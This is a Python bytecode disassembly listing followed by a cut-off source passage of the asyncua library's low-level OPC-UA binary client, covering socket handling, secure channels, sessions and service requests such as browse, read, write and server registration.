STORE_FAST ack CONTINUE_LOOP POP_EXCEPT JUMP_FORWARD to 128 END_FINALLY LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR SubscriptionId STORE_FAST subscription_id LOAD_FAST subscription_id POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 160 LOAD_FAST self LOAD_ATTR _subscription_callbacks LOAD_FAST subscription_id BINARY_SUBSCR STORE_FAST callback POP_BLOCK JUMP_FORWARD to 202 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'Received data for unknown subscription %s active are %s' LOAD_FAST subscription_id LOAD_FAST self LOAD_ATTR _subscription_callbacks LOAD_METHOD keys CALL_METHOD CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 280 END_FINALLY SETUP_EXCEPT to 246 LOAD_GLOBAL asyncio LOAD_METHOD iscoroutinefunction LOAD_FAST callback CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST callback LOAD_FAST response LOAD_ATTR Parameters CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP JUMP_FORWARD to 242 LOAD_FAST callback LOAD_FAST response LOAD_ATTR Parameters CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 280 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD exception LOAD_CONST 'Exception while calling user callback: %s' CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 280 END_FINALLY LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR NotificationMessage LOAD_ATTR NotificationData EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ua LOAD_METHOD SubscriptionAcknowledgement CALL_METHOD STORE_FAST ack LOAD_FAST subscription_id LOAD_FAST ack STORE_ATTR SubscriptionId LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR NotificationMessage LOAD_ATTR SequenceNumber LOAD_FAST ack STORE_ATTR SequenceNumber JUMP_ABSOLUTE LOAD_CONST None STORE_FAST ack JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'create_monitored_items' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD CreateMonitoredItemsRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR CreateMonitoredItemsResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'delete_monitored_items' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD DeleteMonitoredItemsRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR DeleteMonitoredItemsResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'add_nodes' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD AddNodesRequest CALL_METHOD STORE_FAST request LOAD_FAST nodestoadd LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR NodesToAdd LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR AddNodesResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'add_references' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD AddReferencesRequest CALL_METHOD STORE_FAST request LOAD_FAST refs LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR ReferencesToAdd LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR AddReferencesResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'delete' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD DeleteReferencesRequest CALL_METHOD STORE_FAST request LOAD_FAST refs LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR ReferencesToDelete LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR DeleteReferencesResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'delete_nodes' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD DeleteNodesRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR DeleteNodesResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_GLOBAL ua LOAD_METHOD CallRequest CALL_METHOD STORE_FAST request LOAD_FAST methodstocall LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR MethodsToCall LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR CallResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'history_read' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD HistoryReadRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR HistoryReadResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'modify_monitored_items' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD ModifyMonitoredItemsRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR ModifyMonitoredItemsResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'register_nodes' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD RegisterNodesRequest CALL_METHOD STORE_FAST request LOAD_FAST nodes LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR NodesToRegister LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR RegisterNodesResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR RegisteredNodeIds RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'unregister_nodes' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD UnregisterNodesRequest CALL_METHOD STORE_FAST request LOAD_FAST nodes LOAD_FAST request LOAD_ATTR Parameters STORE_ATTR NodesToUnregister LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR UnregisterNodesResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'read_attributes of several nodes' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD ReadRequest CALL_METHOD STORE_FAST request SETUP_LOOP to 68 LOAD_FAST nodeids GET_ITER FOR_ITER to 66 STORE_FAST nodeid LOAD_GLOBAL ua LOAD_METHOD ReadValueId CALL_METHOD STORE_FAST rv LOAD_FAST nodeid LOAD_FAST rv STORE_ATTR NodeId LOAD_FAST attr LOAD_FAST rv STORE_ATTR AttributeId LOAD_FAST request LOAD_ATTR Parameters LOAD_ATTR NodesToRead LOAD_METHOD append LOAD_FAST rv CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR ReadResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'write_attributes of several nodes' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD WriteRequest CALL_METHOD STORE_FAST request SETUP_LOOP to 86 LOAD_GLOBAL enumerate LOAD_FAST nodeids CALL_FUNCTION GET_ITER FOR_ITER to 84 UNPACK_SEQUENCE STORE_FAST idx STORE_FAST nodeid LOAD_GLOBAL ua LOAD_METHOD WriteValue CALL_METHOD STORE_FAST attr LOAD_FAST nodeid LOAD_FAST attr STORE_ATTR NodeId LOAD_FAST attributeid LOAD_FAST attr STORE_ATTR AttributeId LOAD_FAST datavalues LOAD_FAST idx BINARY_SUBSCR LOAD_FAST attr STORE_ATTR Value LOAD_FAST request LOAD_ATTR Parameters LOAD_ATTR NodesToWrite LOAD_METHOD append LOAD_FAST attr CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR WriteResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'set_monitoring_mode' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD SetMonitoringModeRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR SetMonitoringModeResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR Results RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'set_publishing_mode' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD SetPublishingModeRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR protocol LOAD_METHOD send_request LOAD_FAST request CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR SetPublishingModeResponse LOAD_FAST data CALL_FUNCTION STORE_FAST response LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_FAST response CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_ATTR Parameters LOAD_ATTR Results RETURN_VALUE LOAD_GLOBAL NotImplementedError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
""" Low level binary client """ import asyncio import copy import logging from typing import Awaitable, Callable, Dict, List, Optional, Union from asyncua import ua from asyncua.common.session_interface import AbstractSession from ..ua.ua_binary import ( struct_from_binary, uatcp_to_binary, struct_to_binary, nodeid_from_binary, header_from_binary, ) from ..ua.uaerrors import ( BadTimeout, BadNoSubscription, BadSessionClosed, BadUserAccessDenied, UaStructParsingError, ) from ..common.connection import SecureConnection, TransportLimits class UASocketProtocol(asyncio.Protocol): """ Handle socket connection and send ua messages. Timeout is the timeout used while waiting for an ua answer from server. """ INITIALIZED = "initialized" OPEN = "open" CLOSED = "closed" def __init__( self, timeout: float = 1, security_policy: ua.SecurityPolicy = ua.SecurityPolicy(), limits: TransportLimits = None, ): """ :param timeout: Timeout in seconds :param security_policy: Security policy (optional) """ self.logger = logging.getLogger(f"{__name__}.UASocketProtocol") self.transport: Optional[asyncio.Transport] = None self.receive_buffer: Optional[bytes] = None self.is_receiving = False self.timeout = timeout self.authentication_token = ua.NodeId() self._request_id = 0 self._request_handle = 0 self._callbackmap: Dict[int, asyncio.Future] = {} if limits is None: limits = TransportLimits(65535, 65535, 0, 0) else: limits = copy.deepcopy( limits ) # Make a copy because the limits can change in the session self._connection = SecureConnection(security_policy, limits) self.state = self.INITIALIZED self.closed: bool = False self._open_secure_channel_exchange: Union[ ua.OpenSecureChannelResponse, ua.OpenSecureChannelParameters, None ] = None self.pre_request_hook: Optional[Callable[[], Awaitable[None]]] = None def connection_made(self, transport: asyncio.Transport): # type: ignore self.state = self.OPEN self.transport = transport def connection_lost(self, exc: Optional[Exception]): self.logger.info("Socket has closed connection") self.state = self.CLOSED self.transport = None def data_received(self, data: bytes): if self.receive_buffer: data = self.receive_buffer + data self.receive_buffer = None self._process_received_data(data) def _process_received_data(self, data: bytes): """ Try to parse received data as asyncua message. Data may be chunked but will be in correct order. See: https://docs.python.org/3/library/asyncio-protocol.html#asyncio.Protocol.data_received Reassembly is done by filling up a buffer until it verifies as a valid message (or a MessageChunk). """ buf = ua.utils.Buffer(data) while True: try: try: header = header_from_binary(buf) except ua.utils.NotEnoughData: self.logger.debug( "Not enough data while parsing header from server, waiting for more" ) self.receive_buffer = data return if len(buf) < header.body_size: self.logger.debug( "We did not receive enough data from server. Need %s got %s", header.body_size, len(buf), ) self.receive_buffer = data return msg = self._connection.receive_from_header_and_body(header, buf) self._process_received_message(msg) if header.MessageType == ua.MessageType.SecureOpen: params: ua.OpenSecureChannelParameters = ( self._open_secure_channel_exchange ) response: ua.OpenSecureChannelResponse = struct_from_binary( ua.OpenSecureChannelResponse, msg.body() ) response.ResponseHeader.ServiceResult.check() self._open_secure_channel_exchange = response self._connection.set_channel( response.Parameters, params.RequestType, params.ClientNonce ) if not buf: return data = bytes(buf) except ua.UaStatusCodeError as e: self.logger.error("Got error status from server: {}".format(e)) self.disconnect_socket() return except Exception: self.logger.exception( "Exception raised while parsing message from server" ) self.disconnect_socket() return def _process_received_message( self, msg: Union[ua.Message, ua.Acknowledge, ua.ErrorMessage] ): if msg is None: pass elif isinstance(msg, ua.Message): self._call_callback(msg.request_id(), msg.body()) elif isinstance(msg, ua.Acknowledge): self._call_callback(0, msg) elif isinstance(msg, ua.ErrorMessage): self.logger.fatal("Received an error: %r", msg) self.disconnect_socket() if msg.Error is not None: msg.Error.check() else: raise ua.UaError(f"Unsupported message type: {msg}") def _send_request( self, request, timeout: float = 1, message_type=ua.MessageType.SecureMessage ) -> asyncio.Future: """ Send request to server, lower-level method. Timeout is the timeout written in ua header. :param request: Request :param timeout: Timeout in seconds :param message_type: UA Message Type (optional) :return: Future that resolves with the Response """ self._setup_request_header(request.RequestHeader, timeout) self.logger.debug("Sending: %s", request) try: binreq = struct_to_binary(request) except Exception: self._request_handle -= 1 raise self._request_id += 1 future = asyncio.get_running_loop().create_future() self._callbackmap[self._request_id] = future if self._connection.next_security_token.TokenId != 0: self._connection.revolve_tokens() msg = self._connection.message_to_binary( binreq, message_type=message_type, request_id=self._request_id ) if self.transport is not None: self.transport.write(msg) return future async def send_request( self, request, timeout: Optional[float] = None, message_type=ua.MessageType.SecureMessage, ): """ Send a request to the server. Timeout is the timeout written in ua header. Returns response object if no callback is provided. """ timeout = self.timeout if timeout is None else timeout if self.pre_request_hook: await self.pre_request_hook() try: data = await asyncio.wait_for( self._send_request(request, timeout, message_type), timeout if timeout else None, ) except Exception: if self.state != self.OPEN: raise ConnectionError("Connection is closed") from None raise self.check_answer(data, f" in response to {request.__class__.__name__}") return data def check_answer(self, data, context): data = data.copy() typeid = nodeid_from_binary(data) if typeid == ua.FourByteNodeId( ua.ObjectIds.ServiceFault_Encoding_DefaultBinary ): hdr = struct_from_binary(ua.ResponseHeader, data) self.logger.warning( "ServiceFault (%s, diagnostics: %s) from server received %s", hdr.ServiceResult.name, hdr.ServiceDiagnostics, context, ) hdr.ServiceResult.check() return False return True def _call_callback(self, request_id, body): try: self._callbackmap[request_id].set_result(body) except KeyError as ex: raise ua.UaError( f"No request found for request id: {request_id}, pending are {self._callbackmap.keys()}, body was {body}" ) from ex except asyncio.InvalidStateError: if not self.closed: self.logger.warning( "Future for request id %s is already done", request_id ) return self.logger.debug( "Future for request id %s not handled due to disconnect", request_id ) del self._callbackmap[request_id] def _setup_request_header(self, hdr: ua.RequestHeader, timeout=1) -> None: """ :param hdr: Request header :param timeout: Timeout in seconds """ hdr.AuthenticationToken = self.authentication_token self._request_handle += 1 hdr.RequestHandle = self._request_handle hdr.TimeoutHint = int(timeout * 1000) def disconnect_socket(self): self.logger.info("Request to close socket received") if self.transport: self.transport.close() else: self.logger.warning("disconnect_socket was called but transport is None") async def send_hello(self, url, max_messagesize: int = 0, max_chunkcount: int = 0): hello = ua.Hello() hello.EndpointUrl = url hello.MaxMessageSize = max_messagesize hello.MaxChunkCount = max_chunkcount ack = asyncio.Future() self._callbackmap[0] = ack if self.transport is not None: self.transport.write(uatcp_to_binary(ua.MessageType.Hello, hello)) return await asyncio.wait_for(ack, self.timeout) async def open_secure_channel(self, params): self.logger.info("open_secure_channel") request = ua.OpenSecureChannelRequest() request.Parameters = params if self._open_secure_channel_exchange is not None: raise RuntimeError( "Two Open Secure Channel requests can not happen too close to each other. " "The response must be processed and returned before the next request can be sent." ) self._open_secure_channel_exchange = params await asyncio.wait_for( self._send_request(request, message_type=ua.MessageType.SecureOpen), self.timeout, ) _return = self._open_secure_channel_exchange.Parameters self._open_secure_channel_exchange = None return _return async def close_secure_channel(self): """ Close secure channel. It seems to trigger a shutdown of socket in most servers, so be prepared to reconnect. OPC UA specs Part 6, 7.1.4 say that Server does not send a CloseSecureChannel response and should just close socket. """ self.logger.info("close_secure_channel") request = ua.CloseSecureChannelRequest() future = self._send_request(request, message_type=ua.MessageType.SecureClose) future.cancel() self._callbackmap.clear() class UaClient(AbstractSession): """ low level OPC-UA client. It implements (almost) all methods defined in asyncua spec taking in argument the structures defined in asyncua spec. In this Python implementation most of the structures are defined in uaprotocol_auto.py and uaprotocol_hand.py available under asyncua.ua """ def __init__(self, timeout: float = 1.0): """ :param timeout: Timout in seconds """ self.logger = logging.getLogger(f"{__name__}.UaClient") self._subscription_callbacks = {} self._timeout = timeout self.security_policy = ua.SecurityPolicy() self.protocol: UASocketProtocol = None self._publish_task = None self._pre_request_hook: Optional[Callable[[], Awaitable[None]]] = None self._closing: bool = False def set_security(self, policy: ua.SecurityPolicy): self.security_policy = policy def _make_protocol(self): self.protocol = UASocketProtocol( self._timeout, security_policy=self.security_policy ) self.protocol.pre_request_hook = self._pre_request_hook return self.protocol @property def pre_request_hook(self) -> Optional[Callable[[], Awaitable[None]]]: return self._pre_request_hook @pre_request_hook.setter def pre_request_hook(self, hook: Optional[Callable[[], Awaitable[None]]]): self._pre_request_hook = hook if self.protocol: self.protocol.pre_request_hook = self._pre_request_hook async def connect_socket(self, host: str, port: int): """Connect to server socket.""" self.logger.info("opening connection") self._closing = False await asyncio.wait_for( asyncio.get_running_loop().create_connection( self._make_protocol, host, port ), self._timeout, ) def disconnect_socket(self): if not self.protocol: return if self.protocol and self.protocol.state == UASocketProtocol.CLOSED: self.logger.warning("disconnect_socket was called but connection is closed") return None self.protocol.disconnect_socket() self.protocol = None async def send_hello(self, url, max_messagesize: int = 0, max_chunkcount: int = 0): await self.protocol.send_hello(url, max_messagesize, max_chunkcount) async def open_secure_channel(self, params): return await self.protocol.open_secure_channel(params) async def close_secure_channel(self): """ close secure channel. It seems to trigger a shutdown of socket in most servers, so be prepared to reconnect """ if not self.protocol or self.protocol.state == UASocketProtocol.CLOSED: self.logger.warning( "close_secure_channel was called but connection is closed" ) return return await self.protocol.close_secure_channel() async def create_session(self, parameters): self.logger.info("create_session") self._closing = False self.protocol.closed = False request = ua.CreateSessionRequest() request.Parameters = parameters data = await self.protocol.send_request(request) response = struct_from_binary(ua.CreateSessionResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() self.protocol.authentication_token = response.Parameters.AuthenticationToken return response.Parameters async def activate_session(self, parameters): self.logger.info("activate_session") request = ua.ActivateSessionRequest() request.Parameters = parameters data = await self.protocol.send_request(request) response = struct_from_binary(ua.ActivateSessionResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters async def close_session(self, delete_subscriptions): self.logger.info("close_session") if not self.protocol: self.logger.warning("close_session but connection wasn't established") return self.protocol.closed = True self._closing = True if self._publish_task and not self._publish_task.done(): self._publish_task.cancel() if self.protocol and self.protocol.state == UASocketProtocol.CLOSED: self.logger.warning("close_session was called but connection is closed") return request = ua.CloseSessionRequest() request.DeleteSubscriptions = delete_subscriptions data = await self.protocol.send_request(request) response = struct_from_binary(ua.CloseSessionResponse, data) try: response.ResponseHeader.ServiceResult.check() except BadSessionClosed: pass except BadUserAccessDenied: pass async def browse(self, parameters): self.logger.info("browse") request = ua.BrowseRequest() request.Parameters = parameters data = await self.protocol.send_request(request) response = struct_from_binary(ua.BrowseResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def browse_next(self, parameters): self.logger.debug("browse next") request = ua.BrowseNextRequest() request.Parameters = parameters data = await self.protocol.send_request(request) response = struct_from_binary(ua.BrowseNextResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters.Results async def read(self, parameters): self.logger.debug("read") request = ua.ReadRequest() request.Parameters = parameters data = await self.protocol.send_request(request) response = struct_from_binary(ua.ReadResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def write(self, params): self.logger.debug("write") request = ua.WriteRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.WriteResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def get_endpoints(self, params): self.logger.debug("get_endpoint") request = ua.GetEndpointsRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.GetEndpointsResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Endpoints async def find_servers(self, params): self.logger.debug("find_servers") request = ua.FindServersRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.FindServersResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Servers async def find_servers_on_network(self, params): self.logger.debug("find_servers_on_network") request = ua.FindServersOnNetworkRequest() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.FindServersOnNetworkResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Parameters async def register_server(self, registered_server): self.logger.debug("register_server") request = ua.RegisterServerRequest() request.Server = registered_server data = await self.protocol.send_request(request) response = struct_from_binary(ua.RegisterServerResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() async def unregister_server(self, registered_server): self.logger.debug("unregister_server") request = ua.RegisterServerRequest() request.Server = registered_server data = await self.protocol.send_request(request) response = struct_from_binary(ua.RegisterServerResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() async def register_server2(self, params): self.logger.debug("register_server2") request = ua.RegisterServer2Request() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.RegisterServer2Response, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.ConfigurationResults async def unregister_server2(self, params): self.logger.debug("unregister_server2") request = ua.RegisterServer2Request() request.Parameters = params data = await self.protocol.send_request(request) response = struct_from_binary(ua.RegisterServer2Response, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.ConfigurationResults async def translate_browsepaths_to_nodeids(self, browse_paths): self.logger.debug("translate_browsepath_to_nodeid") request = ua.TranslateBrowsePathsToNodeIdsRequest() request.Parameters.BrowsePaths = browse_paths data = await self.protocol.send_request(request) response = struct_from_binary(ua.TranslateBrowsePathsToNodeIdsResponse, data) self.logger.debug(response) response.ResponseHeader.ServiceResult.check() return response.Results async def 